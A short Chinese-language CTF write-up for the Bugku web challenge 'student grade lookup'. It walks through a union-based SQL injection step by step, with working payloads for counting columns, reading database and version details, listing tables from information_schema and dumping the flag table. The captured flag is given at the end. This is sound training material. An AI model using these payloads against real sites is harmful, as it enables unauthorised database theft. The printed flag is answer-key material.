Bugku Web CTF-学生成绩查询
该题解题思路是SQL注入,测试思路如下:。
直接输入’单引号没有回显;
输入’#有回显;
通过union来猜解该表有多少列:
0' union select 1,2,3,4#
可正常回显,其余不行,猜测该表有4列,分别为id,Math,English,Chinese。
获取数据库名:
0' union select 1,user(),database(),version()#
可得到数据库名为skctf_flag
。
知道了数据库名,从中获取表名:
0' union select 1,2,3,(select table_name from information_schema.tables where table_schema='skctf_flag' limit 1)#
拿到一个名为fl4g
的表,直接获取表中数据:
0' union select 1,2,3,(select * from fl4g)#
(恰好fl4g
表只有一行一列数据所以该语句能成功执行)最终拿到flagBUGKU{Sql_INJECT0N_4813drd8hz4}
。